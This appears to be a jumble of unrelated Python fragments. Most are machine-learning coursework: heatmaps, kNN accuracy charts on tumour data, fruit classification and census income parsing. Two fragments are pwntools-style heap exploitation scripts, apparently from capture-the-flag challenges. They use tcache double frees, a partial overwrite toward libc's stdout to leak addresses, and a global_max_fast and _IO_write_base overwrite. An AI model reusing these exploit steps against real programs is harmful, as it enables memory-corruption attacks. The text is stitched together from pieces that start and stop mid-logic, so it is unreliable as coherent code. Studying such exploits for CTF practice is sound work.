def GridSearch_Heatmap(scores): from IPython import get_ipython as ipy ipy().magic("matplotlib qt5") import seaborn as sns import matplotlib.pyplot as plt plt.figure() sns.heatmap(scores, xticklabels=["l1", "l2"], yticklabels=np.logspace( -2, 2, 5)) # Assuming scores is in its proper shape. plt.yticks(rotation=0)
# -*- coding: utf-8 -*- """ Created on Sat Sep 15 04:08:48 2018 @author: Jeff, Steven """ import numpy as np import pandas as pd import matplotlib.pyplot as plt from IPython import get_ipython as ipy ipy().magic("matplotlib qt5") """ Part 1: Identifying Clusters and Outliers """ colors = ["red", "blue", "green", "orange", "purple", "black", "pink", "white", "white", "white"] # For debug purposes, group into clusters. np.random.seed(0) """ x_val = np.concatenate((np.random.normal(2, 1, 20), np.random.normal(6.5, 1.5, 25), np.random.uniform(0, 10, 10))) y_val = np.concatenate((np.random.normal(2, 1, 20), np.random.normal(5, 1, 25), np.random.uniform(0, 10, 10))) """ # 25 points sample size # Gridspace is 10x10 """ x_val = np.concatenate((np.random.uniform(1, 3, 10), np.random.uniform(5, 8, 10), np.random.uniform(0, 10, 5))) y_val = np.concatenate((np.random.uniform(1.5, 3.5, 10), np.random.uniform(4, 6, 10), np.random.uniform(0, 10, 5))) """ x_rand = np.random.randint(1, 3)
def accuracy_plot(): import matplotlib.pyplot as plt from IPython import get_ipython as ipy ipy().magic("matplotlib qt5") X_train, X_test, y_train, y_test = answer_4() # Find the training and testing accuracies by target value (i.e. malignant, benign) mal_train_X = X_train[y_train == 0] mal_train_y = y_train[y_train == 0] ben_train_X = X_train[y_train == 1] ben_train_y = y_train[y_train == 1] mal_test_X = X_test[y_test == 0] mal_test_y = y_test[y_test == 0] ben_test_X = X_test[y_test == 1] ben_test_y = y_test[y_test == 1] knn = answer_5() scores = [ knn.score(mal_train_X, mal_train_y), knn.score(ben_train_X, ben_train_y), knn.score(mal_test_X, mal_test_y), knn.score(ben_test_X, ben_test_y) ] plt.figure() # Plot the scores as a bar chart bars = plt.bar(np.arange(4), scores, color=['#4c72b0', '#4c72b0', '#55a868', '#55a868']) # directly label the score onto the bars for bar in bars: height = bar.get_height() # *** plt.gca().text(bar.get_x() + bar.get_width() / 2, height * .90, '{0:.{1}f}'.format(height, 2), ha='center', color='w', fontsize=11) # remove all the ticks (both axes), and tick labels on the Y axis plt.tick_params(top='off', bottom='off', left='off', right='off', labelleft='off', labelbottom='on') # remove the frame of the chart for spine in plt.gca().spines.values(): spine.set_visible(False) plt.xticks([0, 1, 2, 3], [ 'Malignant\nTraining', 'Benign\nTraining', 'Malignant\nTest', 'Benign\nTest' ], alpha=0.8) plt.title('Training and Test Accuracies for Malignant and Benign Cells', alpha=0.8)
# -*- coding: utf-8 -*- """ Created on Wed Jun 27 12:37:52 2018 @author: Jeff """ import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from IPython import get_ipython as ipy ipy().magic("matplotlib qt5") # Figures pop out in separate windows in Spyder. fruits = pd.read_table("FruitData.txt") # Reads in text files in table format. fruits.head() """Breaking down Table Components: - Label numbers for machine supplied by human. Name labels not necessary. - Actual feature data contains mass, dimensions and *color*. - Color_scale based on cmap and contains score ranging from 0 to 1. 2 sets for machine: Training set (labelled set) and test set; split dataframe in half. -train_test_split function randomly shuffles dataset and sorts samples into training and test set. **Standard split: 75% training, 25% test. """ X = fruits[["mass", "width", "height", "color_score"]] # Used for features of labels (2-D array) y = fruits["fruit_label"] # Used for labels themselves. (1-D array)
lg('heap', heap) add('a' * 0x10) #1 add('a' * 0x100) #2 add('a' * 0x100) #3 free(0) add('a' * 0x80) #4 for i in range(7): free(0) free(0) #flag stdout = 0xe760 dbg() ipy() edit(4, p16(stdout)) free(1) add('a' * 0x18) #5 free(1) free(1) free(1) edit(5, p64(heap)) add('a' * 0x18) add('\x80') pay = p64(0xfbad1880) add(pay) #dbg() free(1) free(1)
add(1, 0x118) add(2, 0x98) add(3, 0x358) free(1) edit(2, '\x00' * 0x90 + p64(0x1c0) + '\x60') free(3) add(1, 0x118) add(3, 0x98) global_max_fast = 0x87f8 write_base_offset = 0x1651 stdout_vtable_offset = 0x17c1 dbg() ipy() #global_max_fast payload = p64(0) + p64(write_base_offset) #free size change _IO_write_base payload = payload.ljust(0xa0, '\x00') payload += p64(0) + p64(0x361) payload += p64(0) + p16(global_max_fast - 0x10) edit(4, payload + '\n') add(0, 0x358) context.log_level = 'debug' free(2) sl(2) sl(4) sl(p64(0) + p64(write_base_offset - 0x20)) #change _IO_read_end sl(3) sl(3) data = ru('\x7f', drop=False)
Looking for an example? Here's what our course assistant put together for the **Ann Arbor, MI, USA** area using **sports and athletics** as the topic. [Example Solution File](./readonly/Assignment4_example.pdf) """ """ 1. Region and Domain: Scarborough (Agincourt), ON, Canada; Economic Activity or Measures. 2. Research Question: How does the income distribution vary between the different sections of Scarborough? (2015 data total income group) [Regions: Agincourt, Centre, Guildwood, North, Rouge Park, Southwest] - Download: http://www12.statcan.gc.ca/census-recensement/2016/dp-pd/prof/search-recherche/results-resultats.cfm?Lang=E&TABID=1&G=1&Geo1=FED&Code1=35096&Geo2=PR&Code2=35&SearchText=Scarborough&SearchType=Begins&wb-srch-place=search 3. """ import pandas as pd import numpy as np import matplotlib.pyplot as plt from IPython import get_ipython as ipy ipy().magic("matplotlib qt5") # Pop out instead of inline # Load datafiles into dataframe. df = pd.DataFrame() names = ["Agincourt", "Centre", "Guildwood", "North", "RougePark", "Southwest"] for i in names: df[i] = pd.read_csv( "IncomeScarborough" + i + ".csv", header=None, index_col=0, usecols=[1, 3], squeeze=True, skiprows=lambda x: x in [i for i in range(51)] + [61], nrows=13) # Nrows specifies # of rows to read after the skipped rows. # Usecols is actually called first before index cols, so index_cols refers to the column elements in usecols. # Squeeze turns the dataframe into a series if possible, so that all files can be stored in one dataframe.